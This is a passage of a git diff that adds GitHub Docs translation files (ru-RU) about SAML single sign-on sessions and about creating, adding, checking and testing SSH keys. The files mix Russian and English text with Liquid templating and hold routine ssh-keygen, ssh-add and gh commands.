button](/assets/images/help/settings/ssh-sso-authorize.png) + +## Further reading + +- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)" +- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" diff --git a/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/index.md new file mode 100644 index 000000000000..f60017e69b47 --- /dev/null +++ b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/index.md @@ -0,0 +1,27 @@ +--- +title: Проверка подлинности с помощью единого входа SAML +intro: 'Вы можете пройти проверку подлинности в {% data variables.product.product_name %} с помощью единого входа SAML {% ifversion ghec %} и просмотреть активные сеансы{% endif %}.' +redirect_from: + - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on + - /articles/authenticating-with-saml-single-sign-on + - /github/authenticating-to-github/authenticating-with-saml-single-sign-on + - /authentication/authenticating-with-saml-single-sign-on +versions: + ghae: '*' + ghec: '*' +topics: + - SSO +children: + - /about-authentication-with-saml-single-sign-on + - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on + - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on + - /viewing-and-managing-your-active-saml-sessions +shortTitle: Authenticate with SAML +ms.openlocfilehash: d4d193e64deb534ae5ee7d395d78cb5fa810590b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145116147' +--- + diff --git a/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md new file mode 100644 index 000000000000..b3d8ad281c84 --- /dev/null +++ b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md @@ -0,0 +1,43 @@ +--- +title: Просмотр активных сеансов SAML и управление ими +intro: Вы можете просматривать и отменять активные сеансы SAML в параметрах. +redirect_from: + - /articles/viewing-and-managing-your-active-saml-sessions + - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions + - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions +versions: + ghec: '*' +topics: + - SSO +type: how_to +shortTitle: Active SAML sessions +ms.openlocfilehash: e69ad366de7cdfb14b6a2a13ae3bdc134111616a +ms.sourcegitcommit: b2e5d14036a700b781e91158a552f8c0b1f04839 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148165594' +--- +Вы можете просмотреть список устройств, которые вошли в вашу учетную запись, и отозвать все сеансы SAML, которые вы не распознаете. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.sessions %} +1. В разделе "Веб-сеансы" отображаются активные сеансы SAML. + + ![Снимок экрана: список активных сеансов SAML](/assets/images/help/settings/saml-active-sessions.png) + +1. Чтобы просмотреть сведения о сеансе, нажмите кнопку **Дополнительные сведения**. + ![Снимок экрана: активные сеансы SAML с кнопкой для открытия сведений о сеансе SAML](/assets/images/help/settings/saml-expand-session-details.png) + +1. Чтобы отменить сеанс, нажмите кнопку **Отозвать SAML**. + + ![Снимок экрана: страница сведений о сеансе с кнопкой отмены сеанса SAML](/assets/images/help/settings/saml-revoke-session.png) + + {% note %} + + **Примечание.** При отзыве сеанса вы удалите проверку подлинности SAML в этой организации. Чтобы снова получить доступ к организации, вам потребуется выполнить единый вход с помощью поставщика удостоверений. Дополнительные сведения см. в разделе [Сведения о проверке подлинности с помощью единого входа SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on). + + {% endnote %} + +## Дополнительные материалы + +- [Сведения о проверке подлинности с помощью единого входа SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on) diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/about-ssh.md new file mode 100644 index 000000000000..b2bef2609a47 --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/about-ssh.md @@ -0,0 +1,40 @@ +--- +title: Сведения о протоколе SSH +intro: 'С помощью протокола SSH можно подключаться и проходить проверку подлинности на удаленных серверах и службах. С помощью ключей SSH вы можете подключаться к {% data variables.product.product_name %} без указания имени пользователя и {% data variables.product.pat_generic %} при каждом посещении. {% ifversion ssh-commit-verification %} Вы также можете использовать ключ SSH для подписывания фиксаций. {% endif %}' +redirect_from: + - /articles/about-ssh + - /github/authenticating-to-github/about-ssh + - /github/authenticating-to-github/connecting-to-github-with-ssh/about-ssh +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +ms.openlocfilehash: 51a72821217e5d47092ed77e923b38f4cf248010 +ms.sourcegitcommit: a0ad3bfe2a99c3092e76ca9b3d476cf30988ca55 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/28/2022 +ms.locfileid: '148118982' +--- +{% data reusables.ssh.about-ssh %} Дополнительные сведения о SSH см. в статье [Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell) Википедии. + +При настройке протокола SSH необходимо создать новый закрытый ключ SSH и добавить его в агент SSH. Необходимо также добавить открытый ключ SSH к учетной записи в {% data variables.product.product_name %}, прежде чем использовать ключ для проверки подлинности{% ifversion ssh-commit-verification %} или подписывания фиксаций{% endif %}. Дополнительные сведения см. в статьях "[Создание нового ключа SSH и его добавление в ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)"{% ifversion ssh-commit-verification %}, {% else %} и{% endif %} "[Добавление нового ключа SSH в учетную запись {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account){% ifversion ssh-commit-verification %}" и "[О проверки фиксации сигнатуры](/articles/about-commit-signature-verification){% endif %}." + +Вы можете дополнительно защитить ключ SSH с помощью аппаратного ключа безопасности, для которого требуется, чтобы физический аппаратный ключ безопасности был подключен к компьютеру, если пара ключей используется для проверки подлинности с помощью SSH. Вы также можете защитить ключ SSH, добавив ключ в ssh-agent и используя парольную фразу. Дополнительные сведения см. в разделе [Работа с парольными фразами ключей SSH](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). + +{% ifversion fpt or ghec %} Чтобы использовать ключ SSH с репозиторием, который принадлежит организации, использующей единый вход SAML, необходимо авторизовать ключ. Дополнительные сведения см. в разделе [Авторизация ключа SSH для использования с единым входом SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %}{% endif %} + +Чтобы обеспечить безопасность учетной записи, вы можете регулярно просматривать список ключей SSH и отзывать все недействительные или скомпрометированные ключи. Дополнительные сведения см. в статье [Просмотр ключей SSH](/github/authenticating-to-github/reviewing-your-ssh-keys). + +{% ifversion fpt or ghec %} Если вы не использовали ключ SSH в течение года, {% data variables.product.prodname_dotcom %} автоматически удалит неактивный ключ SSH в качестве меры предосторожности. Дополнительные сведения см. в разделе [Удаленные или отсутствующие ключи SSH](/articles/deleted-or-missing-ssh-keys). +{% endif %} + +{% ifversion fpt %} Организации, использующие {% data variables.product.prodname_ghe_cloud %}, могут предоставлять сертификаты SSH, которые члены могут использовать для доступа к репозиториям этой организации без добавления сертификата в учетную запись {% data variables.product.product_name %}. Если вы используете сертификат SSH, вы не можете использовать сертификат для доступа к вилкам репозиториев организации, если вилка принадлежит личной учетной записи. Дополнительную информацию см. в разделе [Сведения о центрах сертификации SSH](/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities) документации по {% data variables.product.prodname_ghe_cloud %}. +{% else ghec or ghes or ghae %} Если вы являетесь членом организации, предоставляющей сертификаты SSH, можно использовать свой сертификат для доступа к репозиториям организации, не добавляя его в учетную запись в {% data variables.product.product_name %}. Сертификат нельзя использовать для доступа к вилкам репозиториев организации, принадлежащих личной учетной записи. Дополнительные сведения см. в разделе [Сведения о центрах сертификации SSH](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities). +{% endif %} +## Дополнительные материалы + +- [Устранение неполадок с SSH](/articles/troubleshooting-ssh) diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md new file mode 100644 index 000000000000..1e7cde5e8d1f --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md @@ -0,0 +1,98 @@ +--- +title: Adding a new SSH key to your GitHub account +intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) SSH key, you''ll also need to add the key to your account.' +redirect_from: + - /articles/adding-a-new-ssh-key-to-your-github-account + - /github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account + - /github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Add a new SSH key +--- + +## About addition of SSH keys to your account + +{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." + +{% ifversion ssh-commit-verification %}You can also use SSH to sign commits and tags. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)."{% endif %} + +After you generate an SSH key pair, you must add the public key to {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable SSH access for your account. + +## Prerequisites + +Before adding a new SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, complete the following steps. + +1. Check for existing SSH keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)." +1. Generate a new SSH key and add it to your machine's SSH agent. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + +## Adding a new SSH key to your account + +After adding a new SSH authentication key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can reconfigure any local repositories to use SSH. For more information, see "[Switching remote URLs from HTTPS to SSH](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-https-to-ssh)." + +{% data reusables.ssh.key-type-support %} + +{% webui %} + +{% data reusables.gpg.copy-ssh-public-key %} +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +4. Click **New SSH key** or **Add SSH key**. +{% ifversion ssh-commit-verification %} + ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key-with-auth.png) +{% else %} + ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key.png) +{% endif %} +5. In the "Title" field, add a descriptive label for the new key. For example, if you're using a personal laptop, you might call this key "Personal laptop". +{% ifversion ssh-commit-verification %} +6. Select the type of key, either authentication or signing. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)." +{% endif %} +7. Paste your key into the "Key" field. +{% ifversion ssh-commit-verification %} + ![The key field](/assets/images/help/settings/ssh-key-paste-with-type.png) +{% else %} + ![The key field](/assets/images/help/settings/ssh-key-paste.png) +{% endif %} +8. Click **Add SSH key**. + ![The Add key button](/assets/images/help/settings/ssh-add-key.png) +{% data reusables.user-settings.sudo-mode-popup %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Before you can use the {% data variables.product.prodname_cli %} to add an SSH key to your account, you must authenticate to the {% data variables.product.prodname_cli %}. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login) in the {% data variables.product.prodname_cli %} documentation. + +{% ifversion ssh-commit-verification %}At present, you can only use {% data variables.product.prodname_cli %} to add SSH authentication keys, you cannot add SSH signing keys.{% endif %} + +To add an SSH authentication key to your GitHub account, use the `ssh-key add` subcommand, specifying your public key. + +```shell +gh ssh-key add KEY-FILE +``` + +To include a title for the new key, use the `-t` or `--title` flag. + +```shell +gh ssh-key add KEY-FILE --title "personal laptop" +``` + +If you generated your SSH key by following the instructions in "[Generating a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)", you can add the key to your account with this command. + +```shell +gh ssh-key add ~/.ssh/id_ed25519.pub +``` + +{% endcli %} + +{% ifversion fpt or ghec %} +## Further reading + +- "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)" +{% endif %} diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md new file mode 100644 index 000000000000..e840701467ee --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md @@ -0,0 +1,53 @@ +--- +title: Checking for existing SSH keys +intro: 'Before you generate an SSH key, you can check to see if you have any existing SSH keys.' +redirect_from: + - /articles/checking-for-existing-ssh-keys + - /github/authenticating-to-github/checking-for-existing-ssh-keys + - /github/authenticating-to-github/connecting-to-github-with-ssh/checking-for-existing-ssh-keys +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Check for existing SSH key +--- + +## About SSH keys + +You can use SSH to perform Git operations in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." + +If you have an existing SSH key, you can use the key to authenticate Git operations over SSH. + +## Checking for existing SSH keys + +Before you generate a new SSH key, you should check your local machine for existing keys. + +{% data reusables.ssh.key-type-support %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Enter `ls -al ~/.ssh` to see if existing SSH keys are present. + + ```shell + $ ls -al ~/.ssh + # Lists the files in your .ssh directory, if they exist + ``` + +3. Check the directory listing to see if you already have a public SSH key. By default, the {% ifversion ghae %}filename of a supported public key for {% data variables.product.product_name %} is *id_rsa.pub*.{% else %}filenames of supported public keys for {% data variables.product.product_name %} are one of the following. + - *id_rsa.pub* + - *id_ecdsa.pub* + - *id_ed25519.pub*{% endif %} + + {% tip %} + + **Tip**: If you receive an error that *~/.ssh* doesn't exist, you do not have an existing SSH key pair in the default location. You can create a new SSH key pair in the next step. + + {% endtip %} + +4. Either generate a new SSH key or upload an existing key. + - If you don't have a supported public and private key pair, or don't wish to use any that are available, generate a new SSH key. + - If you see an existing public and private key pair listed (for example, *id_rsa.pub* and *id_rsa*) that you would like to use to connect to {% data variables.product.product_name %}, you can add the key to the ssh-agent. + + For more information about generation of a new SSH key or addition of an existing key to the ssh-agent, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md new file mode 100644 index 000000000000..2b6e79d37819 --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md @@ -0,0 +1,249 @@ +--- +title: Generating a new SSH key and adding it to the ssh-agent +intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.' +redirect_from: + - /articles/adding-a-new-ssh-key-to-the-ssh-agent + - /articles/generating-a-new-ssh-key + - /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent + - /github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent + - /github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Generate new SSH key +--- + +## About SSH key passphrases + +{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." + +When you generate an SSH key, you can add a passphrase to further secure the key. Whenever you use the key, you must enter the passphrase. If your key has a passphrase and you don't want to enter the passphrase every time you use the key, you can add your key to the SSH agent. The SSH agent manages your SSH keys and remembers your passphrase. + +If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)." + +If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2). + +## Generating a new SSH key + +You can generate a new SSH key on your local machine. After you generate the key, you can add the key to your account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable authentication for Git operations over SSH. + +{% ifversion ghes %} + +If you are a site administrator for {% data variables.location.product_location %}, you can use the same key to grant yourself administrative SSH access to the instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." + +{% endif %} + +{% data reusables.ssh.key-type-support %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Paste the text below, substituting in your {% data variables.product.product_name %} email address. + {%- ifversion ghae %} + + ```shell + $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com" + $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com" + + ``` + {%- else %} + ```shell + $ ssh-keygen -t ed25519 -C "your_email@example.com" + ``` + {% note %} + + **Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use: + ```shell + $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com" + ``` + + {% endnote %} + {%- endif %} + + This creates a new SSH key, using the provided email as a label. + ```shell + > Generating public/private ALGORITHM key pair. + ``` +When you're prompted to "Enter a file in which to save the key", you can press **Enter** to accept the default file location. Please note that if you created SSH keys previously, ssh-keygen may ask you to rewrite another key, in which case we recommend creating a custom-named SSH key. To do so, type the default file location and replace id_ssh_keyname with your custom key name. + + + {% mac %} + + ```shell + > Enter a file in which to save the key (/Users/YOU/.ssh/id_ALGORITHM: [Press enter] + ``` + + {% endmac %} + + {% windows %} + + ```shell + > Enter a file in which to save the key (/c/Users/YOU/.ssh/id_ALGORITHM):[Press enter] + ``` + + {% endwindows %} + + {% linux %} + + ```shell + > Enter a file in which to save the key (/home/YOU/.ssh/ALGORITHM):[Press enter] + ``` + + {% endlinux %} + +4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)." + ```shell + > Enter passphrase (empty for no passphrase): [Type a passphrase] + > Enter same passphrase again: [Type passphrase again] + ``` + +## Adding your SSH key to the ssh-agent + +Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source. + +{% mac %} + +{% data reusables.command_line.start_ssh_agent %} + +2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain. + + * First, check to see if your `~/.ssh/config` file exists in the default location. + + ```shell + $ open ~/.ssh/config + > The file /Users/YOU/.ssh/config does not exist. + ``` + + * If the file doesn't exist, create the file. + + ```shell + $ touch ~/.ssh/config + ``` + + * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup. + + ``` + Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %} + AddKeysToAgent yes + UseKeychain yes + IdentityFile ~/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %} + ``` + + {% note %} + + **Notes:** + + - If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line. + + - If you see a `Bad configuration option: usekeychain` error, add an additional line to the configuration's' `Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}` section. + + ``` + Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %} + IgnoreUnknown UseKeychain + ``` + {% endnote %} + +3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} + ```shell + $ ssh-add --apple-use-keychain ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %} + ``` + {% note %} + + **Note:** The `--apple-use-keychain` option stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `--apple-use-keychain` option. + + The `--apple-use-keychain` option is in Apple's standard version of `ssh-add`. In MacOS versions prior to Monterey (12.0), the `--apple-use-keychain` and `--apple-load-keychain` flags used the syntax `-K` and `-A`, respectively. + + If you don't have Apple's standard version of `ssh-add` installed, you may receive an error. For more information, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)." + + + {% endnote %} + +4. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)." + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows_git_bash %} + +1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually: + ```shell + # start the ssh-agent in the background + $ eval "$(ssh-agent -s)" + > Agent pid 59566 + ``` + +2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} + {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %} + +3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)." + +{% endwindows %} + +{% linux %} + +{% data reusables.command_line.start_ssh_agent %} + +2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} + {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %} + +3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)." + +{% endlinux %} + +## Generating a new SSH key for a hardware security key + +If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)." + +1. Insert your hardware security key into your computer. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Paste the text below, substituting in the email address for your account on {% data variables.product.product_name %}. + ```shell + $ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "YOUR_EMAIL" + ``` + + {%- ifversion not ghae %} + {% note %} + + **Note:** If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead. + ```shell + $ ssh-keygen -t ecdsa-sk -C "your_email@example.com" + ``` + + {% endnote %} + {%- endif %} +4. When you are prompted, touch the button on your hardware security key. +5. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location. + + {% mac %} + + ```shell + > Enter a file in which to save the key (/Users/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk): [Press enter] + ``` + + {% endmac %} + + {% windows %} + + ```shell + > Enter a file in which to save the key (/c/Users/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk):[Press enter] + ``` + + {% endwindows %} + + {% linux %} + + ```shell + > Enter a file in which to save the key (/home/YOU/.ssh/id_{% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}_sk):[Press enter] + ``` + + {% endlinux %} + +6. When you are prompted to type a passphrase, press **Enter**. + ```shell + > Enter passphrase (empty for no passphrase): [Type a passphrase] + > Enter same passphrase again: [Type passphrase again] + ``` +7. Add the SSH key to your account on {% data variables.product.prodname_dotcom %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)." diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/index.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/index.md new file mode 100644 index 000000000000..4f6b0812c969 --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/index.md @@ -0,0 +1,36 @@ +--- +title: Подключение к GitHub с помощью SSH +intro: 'Вы можете подключиться к {% data variables.product.product_name %} с помощью протокола Secure Shell (SSH), который предоставляет безопасный канал по незащищенной сети.' +redirect_from: + - /key-setup-redirect + - /linux-key-setup + - /mac-key-setup + - /msysgit-key-setup + - /articles/ssh-key-setup + - /articles/generating-ssh-keys + - /articles/generating-an-ssh-key + - /articles/connecting-to-github-with-ssh + - /github/authenticating-to-github/connecting-to-github-with-ssh +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +children: + - /about-ssh + - /checking-for-existing-ssh-keys + - /generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent + - /adding-a-new-ssh-key-to-your-github-account + - /testing-your-ssh-connection + - /working-with-ssh-key-passphrases +shortTitle: Connect with SSH +ms.openlocfilehash: 372f67e2074d7a2b6ddfb1155fac027d8b38e141 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145115064' +--- + diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md new file mode 100644 index 000000000000..a97d7da6c640 --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md @@ -0,0 +1,65 @@ +--- +title: Testing your SSH connection +intro: 'After you''ve set up your SSH key and added it to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can test your connection.' +redirect_from: + - /articles/testing-your-ssh-connection + - /github/authenticating-to-github/testing-your-ssh-connection + - /github/authenticating-to-github/connecting-to-github-with-ssh/testing-your-ssh-connection +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Test your SSH connection +--- +Before testing your SSH connection, you should have: +- [Checked for existing SSH keys](/articles/checking-for-existing-ssh-keys) +- [Generated a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) +- [Added a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account) + +When you test your connection, you'll need to authenticate this action using your password, which is the SSH key passphrase you created earlier. For more information on working with SSH key passphrases, see ["Working with SSH key passphrases"](/articles/working-with-ssh-key-passphrases). + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Enter the following: + ```shell + $ ssh -T git@{% data variables.command_line.codeblock %} + # Attempts to ssh to {% data variables.product.product_name %} + ``` + + You may see a warning like this: + + ```shell + > The authenticity of host '{% data variables.command_line.codeblock %} (IP ADDRESS)' can't be established. + > RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8. + > Are you sure you want to continue connecting (yes/no)? + ``` + +3. Verify that the fingerprint in the message you see matches {% ifversion fpt or ghec %}[{% data variables.product.prodname_dotcom %}'s public key fingerprint](/github/authenticating-to-github/githubs-ssh-key-fingerprints){% else %} your enterprise's public key fingerprint{% endif %}. If it does, then type `yes`: + ```shell + > Hi USERNAME! You've successfully authenticated, but GitHub does not + > provide shell access. + ``` + + {% linux %} + + You may see this error message: + ```shell + ... + Agent admitted failure to sign using the key. + debug1: No more authentication methods to try. + Permission denied (publickey). + ``` + + This is a known problem with certain Linux distributions. For more information, see ["Error: Agent admitted failure to sign"](/articles/error-agent-admitted-failure-to-sign). + + {% endlinux %} + + {% note %} + + **Note:** The remote command should exit with code 1. + + {% endnote %} + +4. Verify that the resulting message contains your username. If you receive a "permission denied" message, see ["Error: Permission denied (publickey)"](/articles/error-permission-denied-publickey). diff --git a/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md new file mode 100644 index 000000000000..44f54e33df0f --- /dev/null +++ b/translations/ru-RU/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md @@ -0,0 +1,112 @@ +--- +title: Работа с парольными фразами ключа SSH +intro: 'Вы можете защитить ключи SSH и настроить агент проверки подлинности, чтобы вам не пришлось заново вводить парольную фразу при каждом использовании ключей SSH.' +redirect_from: + - /ssh-key-passphrases + - /working-with-key-passphrases + - /articles/working-with-ssh-key-passphrases + - /github/authenticating-to-github/working-with-ssh-key-passphrases + - 